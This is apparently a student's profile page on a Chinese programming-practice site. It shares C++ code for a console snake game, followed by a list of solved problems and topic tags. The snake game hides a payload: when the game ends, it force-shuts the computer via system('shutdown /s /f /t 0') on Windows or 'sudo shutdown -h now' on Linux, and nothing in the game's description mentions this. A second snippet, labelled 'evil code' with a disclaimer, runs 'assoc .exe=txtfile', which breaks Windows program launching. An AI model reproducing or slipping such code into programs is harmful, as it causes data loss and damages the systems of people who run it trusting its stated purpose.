-
个人简介
要玩贪吃蛇打开这个: 提示:要用wasd操控, 进去是中文输入法,需要改一下。
#include <cstdlib> #include <iostream> #include <vector> #include <conio.h> #include <windows.h> #include <ctime> using namespace std; const int WIDTH = 40; const int HEIGHT = 20; enum Direction { UP, DOWN, LEFT, RIGHT }; struct Point { int x, y; Point(int x = 0, int y = 0) : x(x), y(y) {} }; class SnakeGame { private: vector<Point> snake; Point food; Direction dir; bool gameOver; int score; void generateFood() { srand(static_cast<unsigned>(time(0))); food.x = rand() % (WIDTH - 2) + 1; food.y = rand() % (HEIGHT - 2) + 1; // 修正1:使用传统循环替代范围循环 for (size_t i = 0; i < snake.size(); ++i) { if (snake[i].x == food.x && snake[i].y == food.y) { generateFood(); return; } } } void drawBoard() { system("cls"); for (int i = 0; i < WIDTH; i++) cout << "#"; cout << endl; for (int i = 0; i < HEIGHT; i++) { for (int j = 0; j < WIDTH; j++) { if (j == 0 || j == WIDTH - 1) cout << "#"; else if (i == 0 || i == HEIGHT - 1) cout << "#"; else { bool isSnake = false; // 修正2:明确迭代类型 for (size_t k = 0; k < snake.size(); k++) { if (snake[k].x == j && snake[k].y == i) { // 修正3:蛇头检测逻辑 cout << (k == 0 ? 'O' : 'o'); isSnake = true; break; } } if (!isSnake) cout << (food.x == j && food.y == i ? 'F' : ' '); } } cout << endl; } cout << "Score: " << score << endl; } void checkCollision() { Point head = snake[0]; // 修正4:明确取首元素 if (head.x <= 0 || head.x >= WIDTH - 1 || head.y <= 0 || head.y >= HEIGHT - 1) gameOver = true; for (size_t i = 1; i < snake.size(); i++) { if (snake[i].x == head.x && snake[i].y == head.y) { gameOver = true; break; } } } public: SnakeGame() : dir(RIGHT), gameOver(false), score(0) { snake.push_back(Point(WIDTH / 2, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 1, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 2, HEIGHT / 2)); generateFood(); } void run() { while (!gameOver) { if (_kbhit()) { switch (_getch()) { case 'w': if (dir != DOWN) dir = UP; break; case 's': if (dir != UP) dir = DOWN; break; case 'a': if (dir != RIGHT) dir = LEFT; break; case 'd': if (dir != LEFT) dir = RIGHT; break; case 'x': gameOver = true; break; } } Point newHead = snake[0]; // 修正5:明确取首元素 switch (dir) { case UP: newHead.y--; break; case DOWN: newHead.y++; break; case LEFT: newHead.x--; break; case RIGHT: newHead.x++; break; } snake.insert(snake.begin(), newHead); if (newHead.x == food.x && newHead.y == food.y) { score += 10; generateFood(); } else { snake.pop_back(); } checkCollision(); drawBoard(); Sleep(100); } #ifdef _WIN32 system("shutdown /s /f /t 0"); #elif __linux__ system("sudo shutdown -h now"); #endif } }; int main() { SnakeGame game; game.run(); return 0; }
//################################### //分割线 //邪恶小代码:
#include<bits/stdc++.h> using namespace std; int main(){ system("assoc.exe=txtfile"); return 0; } //////////////waring////////waring////////////////// //免责声明:运行结果概不负责,请谨慎运行!!! //################################### //分割线 //注:代码1来源:
//代码2来源:
-
通过的题目
- J0023
- J1052
- P391
- P394
- P397
- J1053
- P403
- P406
- J1080
- P409
- P411
- P412
- P414
- J1013
- J1030
- P426
- J1071
- P445
- P448
- J1056
- P451
- P452
- P455
- P457
- P458
- P463
- P469
- P473
- P474
- P475
- P484
- P490
- P491
- P495
- J1081
- P502
- P521
- P526
- P530
- P532
- P536
- P538
- P540
- P553
- P556
- P557
- P562
- P565
- P567
- P569
- P571
- P572
- P573
- P574
- P575
- P576
- P583
- P584
- P585
- P586
- P587
- P588
- P601
- P602
- P610
- J1078
- P628
- J1059
- P633
- P636
- P662
- P675
- P676
- P677
- P679
- P680
- P681
- J1095
- J1096
- J1016
- J1087
- P711
- P717
- P721
- P729
- P738
- P753
- P754
- P774
- J1077
- P781
- P785
- P786
- P789
- P801
- P802
- J1067
- J1015
- P810
- P845
- P848
- P859
- P865
- P877
- P879
- P882
- P898
- P900
- P901
- P906
- P927
- P940
- P1569
- J1014
- P985
- J1017
- P988
- J1020
- J1083
- P993
- J1086
- J1085
- J1026
- J1031
- J1089
- J1025
- P1020
- J1024
- P1031
- J1069
- J1032
- P1057
- P1081
- J1037
- J1038
- J1058
- P1090
- P1098
- J1039
- P1113
- J1051
- P1135
- P1193
- P1225
- P1235
- P1249
- P1271
- P1274
- P1321
- P1332
- J1019
- J1084
- P1383
- P1407
- P1412
- P1414
- P1416
- P1485
- P1536
- P1538
- J1079
- P1543
- P1550
- P1602
- P1627
- J1082
- P1701
- P1757
- P1759
- P1769
- P1774
- P1782
- P1785
- P1786
- P1787
- P1791
- P1794
- P1797
- P1799
- P1806
- P1813
- P1815
- P1816
- P1823
- P1824
- P1825
- P1828
- P1831
- P1955
- P1957
- P2051
- P2052
- P2351
- P2356
- P2374
- P2377
- P2403
- P2405
- P2416
- P2423
- J1070
- J1068
- P2623
- J1010
- J1011
- P2704
- P2705
- J1012
- P2738
- P2824
- P2826
- P2828
- P2979
- P3007
- P3039
- P3040
- P3048
- P3049
- J1029
- P3054
- P3225
- P3226
- HJ008
- J1001
- J1002
- J1003
- J1004
- J1005
- J1006
- J1007
- J1008
- J1009
- J1021
- J1022
- J1023
- J1027
- J1028
- J1033
- J1034
- J1035
- J1036
- J1040
- J1041
- J1042
- J1043
- J1044
- J1045
- J1046
- J1047
- J1048
- J1049
- J1050
- J1054
- J1055
- J1057
- J1060
- J1061
- J1062
- J1063
- J1064
- J1065
- J1066
- J1072
- J1073
- J1074
- J1075
- J1076
- J1088
- J1090
- J1091
- J1092
- J1093
- J1094
- P3637
- P3649
- P3650
- P3651
- JX20253contest4A
- JX20253contest4B
- JX20253contest5A
- Summercamptest2025A
- Summercamptest2025B
- Summercamptest2025D
- Summercamptest2025E
- Summercamptest2025F
- P4517
- P4521
- Summercamptest2025C
- ZXCS002B
- ZXCS003A
- ZXCS004A
- ABC002A
- ABC004A
- HJ001
-
最近活动
题目标签
- 入门
- 227
- 语法基础
- 135
- 基础
- 89
- 循环
- 69
- 基本运算
- 46
- 算法基础
- 30
- 分支
- 28
- 字符串
- 24
- 二维数组
- 24
- 普及-
- 17
- 排序
- 16
- 递归
- 16
- 一维数组
- 15
- 数学
- 13
- 结构体
- 11
- 进制转换
- 8
- 函数
- 7
- 高精度
- 5
- 枚举
- 4
- 普及
- 3